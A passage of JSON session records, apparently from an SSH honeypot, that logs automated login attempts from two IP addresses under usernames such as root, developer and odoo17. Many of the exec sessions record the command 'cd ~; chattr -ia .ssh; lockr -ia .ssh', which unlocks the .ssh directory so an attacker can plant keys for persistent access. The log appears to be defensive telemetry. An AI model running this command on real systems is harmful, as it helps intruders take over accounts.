  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:24:58.326248+00:00",
  "ended_at": "2026-08-26T14:24:59.020377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eecc3517-61c6-4d3f-ba90-f77c4e2979d5",
  "name": "courtly-hollow-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50214,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:24:55.983000+00:00",
  "ended_at": "2026-08-26T14:24:57.767734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da7a776d-37a1-4814-9fd8-c934d2057490",
  "name": "slender-tawny-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:23:21.970160+00:00",
  "ended_at": "2026-08-26T14:23:23.893045+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ea26497e-3ab0-48fd-829a-52c184be61b0",
  "name": "russet-hazel-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40704,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:23:12.910086+00:00",
  "ended_at": "2026-08-26T14:23:14.585682+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2233
 },
 {
  "id": "498fdbd3-e6c8-46aa-9355-e53893525174",
  "name": "fearless-blazing-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55560,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:56.220432+00:00",
  "ended_at": "2026-08-26T14:22:58.063944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eed4cdbe-d305-44c4-9410-6bfc1ff63951",
  "name": "dewy-electric-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55556,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:53.874866+00:00",
  "ended_at": "2026-08-26T14:22:55.643801+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b56e4ed5-af44-4318-9871-55013d8c4f6e",
  "name": "mindful-plush-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40706,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:49.864970+00:00",
  "ended_at": "2026-08-26T14:22:51.679636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e278f4ad-8a9d-4c97-9c5f-bb379673c7a5",
  "name": "plucky-gritty-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40705,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:46.594837+00:00",
  "ended_at": "2026-08-26T14:22:48.366657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da7d9251-1811-4279-b07c-312524051816",
  "name": "glassy-forlorn-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60904,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:21:13.030885+00:00",
  "ended_at": "2026-08-26T14:21:14.884521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "8cb5fceb-d332-4d8e-9530-39bd2c22b51f",
  "name": "tangled-lanky-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60920,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:48.150544+00:00",
  "ended_at": "2026-08-26T14:20:49.009063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a9eb9a5-4db0-440e-8105-0f45f6798991",
  "name": "lofty-glacial-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60918,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:46.151095+00:00",
  "ended_at": "2026-08-26T14:20:47.556046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c5877b0-9da7-4d45-97ba-2a6981f8117e",
  "name": "diligent-ivory-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40701,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:20:30.024042+00:00",
  "ended_at": "2026-08-26T14:20:31.672634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "716ba735-0f00-4308-a492-1b565ffcbc2f",
  "name": "early-breezy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40703,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:08.526356+00:00",
  "ended_at": "2026-08-26T14:20:10.120187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b74f942-f3e2-4576-8371-6e45cbb4e5e6",
  "name": "indigo-inland-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40702,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:05.131072+00:00",
  "ended_at": "2026-08-26T14:20:07.037647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86a35e29-1a47-4b18-b09c-39cd181c00b0",
  "name": "bronzed-whispering-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64336,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:19:20.933243+00:00",
  "ended_at": "2026-08-26T14:19:22.363330+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2266
 },
 {
  "id": "83ae0dde-b1bd-47d8-97f5-571f61670e3e",
  "name": "weathered-western-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61502,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:56.268088+00:00",
  "ended_at": "2026-08-26T14:18:57.607495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "386b8bb9-cc5d-42bd-bd1a-de791ef289fa",
  "name": "gloomy-gritty-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61490,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:18:54.393623+00:00",
  "ended_at": "2026-08-26T14:18:55.701436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2cb77e3-5717-4532-97d7-953fcf646c32",
  "name": "cosmic-frank-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40698,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:17:49.196284+00:00",
  "ended_at": "2026-08-26T14:17:50.752858+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "bbe057e8-b0ac-47a8-9558-f4834431a731",
  "name": "jolly-vivid-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64410,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:17:27.267550+00:00",
  "ended_at": "2026-08-26T14:17:29.291001+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "d18fc748-7ad6-43f2-bfa4-c3eff8b0d88d",
  "name": "lively-civil-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:27.137787+00:00",
  "ended_at": "2026-08-26T14:17:28.822011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "292c2b7d-6c95-4397-b566-6e54c5088809",
  "name": "foggy-stormy-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40699,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:24.252486+00:00",
  "ended_at": "2026-08-26T14:17:25.642542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9c6fddc-4228-4488-9c64-eb4c0cf979b9",
  "name": "austere-nautical-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64416,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:59.415511+00:00",
  "ended_at": "2026-08-26T14:17:01.152261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b29c98c7-77af-409f-bae0-c630255d45ff",
  "name": "shaded-coral-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64412,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:16:57.311404+00:00",
  "ended_at": "2026-08-26T14:16:58.870665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f82a9f8f-5da6-4f38-ac45-0998b2c47e27",
  "name": "russet-curious-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 51294,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:15:26.998405+00:00",
  "ended_at": "2026-08-26T14:15:28.445703+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "0c9bfb35-2752-4002-823b-8df9c6425928",
  "name": "dewy-somber-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51318,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:15:00.356602+00:00",
  "ended_at": "2026-08-26T14:15:02.072756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc9f9b7a-73ed-4e25-b154-07bbf020566e",
  "name": "peaty-clever-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40695,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:14:58.829455+00:00",
  "ended_at": "2026-08-26T14:15:00.108082+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2190
 },
 {
  "id": "53703b29-4d0c-4f36-9353-bea9f871929b",
  "name": "glacial-western-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:58.739322+00:00",
  "ended_at": "2026-08-26T14:14:59.751481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c475007e-4278-4e9d-bcfc-4f9b4181d5f5",
  "name": "cunning-rambling-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40697,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:35.367719+00:00",
  "ended_at": "2026-08-26T14:14:37.485810+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "947882fe-1872-4d0a-98fc-1b04bc4d1d04",
  "name": "coral-autumn-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40696,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:14:32.302286+00:00",
  "ended_at": "2026-08-26T14:14:33.867175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acda9d81-3085-402c-a846-bf495d93396f",
  "name": "jaunty-thrifty-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52142,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:13:31.530033+00:00",
  "ended_at": "2026-08-26T14:13:32.561998+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "18f79627-ec5e-42f0-832e-771b414ebd3d",
  "name": "buoyant-idle-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52154,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:09.599002+00:00",
  "ended_at": "2026-08-26T14:13:10.850106+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f39dde73-dc47-4003-ac27-db24a1dd8168",
  "name": "ancient-jaunty-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52150,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:08.402107+00:00",
  "ended_at": "2026-08-26T14:13:09.022006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc54fef6-c1b6-4735-84c1-9064ac437ba5",
  "name": "jaunty-opal-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40692,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:12:15.613953+00:00",
  "ended_at": "2026-08-26T14:12:17.079002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2180
 },
 {
  "id": "edf04cb5-88be-43a8-8667-06ba4a9e140b",
  "name": "craggy-quaint-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40694,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:53.785298+00:00",
  "ended_at": "2026-08-26T14:11:54.568790+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5efb7eaf-7b17-49fa-8299-afc467ce0036",
  "name": "freckled-crystal-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40693,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:50.638615+00:00",
  "ended_at": "2026-08-26T14:11:52.285458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d96ac90-5974-45be-b7f5-5ffa7e68cb17",
  "name": "tangled-calm-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60106,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:11:36.498686+00:00",
  "ended_at": "2026-08-26T14:11:38.123035+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2231
 },
 {
  "id": "13760a0e-2e95-42a2-a46b-6528e51b485e",
  "name": "hardy-hollow-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60122,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:17.653496+00:00",
  "ended_at": "2026-08-26T14:11:19.334509+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d39f9456-5633-407c-bad2-1ec703381b46",
  "name": "ruddy-upland-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:16.246510+00:00",
  "ended_at": "2026-08-26T14:11:17.065695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db49389f-e9af-48c0-b6d4-0fc84d1a87c9",
  "name": "reedy-velvet-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 54270,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:09:35.058137+00:00",
  "ended_at": "2026-08-26T14:09:36.003043+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2219
 },
 {
  "id": "98ec9487-31d4-4515-8367-f0bbe33257ec",
  "name": "eager-polar-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40689,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:09:21.961709+00:00",
  "ended_at": "2026-08-26T14:09:22.996074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "1b9e8d55-648a-41b2-a2ac-7056ee611d05",
  "name": "snowy-twilight-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54288,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:09:12.646812+00:00",
  "ended_at": "2026-08-26T14:09:14.293088+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a623191c-1ee7-4976-81ff-dc9b9f0c0cfe",
  "name": "distant-early-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:09:10.853095+00:00",
  "ended_at": "2026-08-26T14:09:12.059586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5c71891-c601-4e2b-a37e-81dc045a24b4",
  "name": "coastal-dappled-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40691,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:08:58.886372+00:00",
  "ended_at": "2026-08-26T14:09:00.751155+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31326b37-566e-40da-b145-eed77e8e35c3",
  "name": "glacial-lofty-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:08:55.877846+00:00",
  "ended_at": "2026-08-26T14:08:57.392968+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaa9f130-70a8-4358-ae68-b8e76e8598cc",
  "name": "blunt-gloomy-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 65004,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:07:32.660122+00:00",
  "ended_at": "2026-08-26T14:07:33.692080+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2208
 },
 {
  "id": "0e9010ee-fdf3-4d40-84c9-4b2e89d5f90c",
  "name": "cobalt-hollow-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 65024,
  "username": "gpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:07:06.815109+00:00",
  "ended_at": "2026-08-26T14:07:08.194338+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40802eac-418b-4111-a30a-061e584f32ff",
  "name": "glacial-foggy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 65016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:07:05.095776+00:00",
  "ended_at": "2026-08-26T14:07:06.216341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd9a2d06-cbd9-4c52-ac45-d1478eacca0e",
  "name": "amber-knotted-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40686,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:06:38.245229+00:00",
  "ended_at": "2026-08-26T14:06:39.380787+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2157
 },
 {
  "id": "412694b3-be63-4aeb-9d92-6bee52de44ca",
  "name": "jaunty-amiable-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40688,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:06:16.213024+00:00",
  "ended_at": "2026-08-26T14:06:18.314047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9aff4429-612e-4c73-aa8c-a8e7c2533f22",
  "name": "solar-hollow-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40687,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
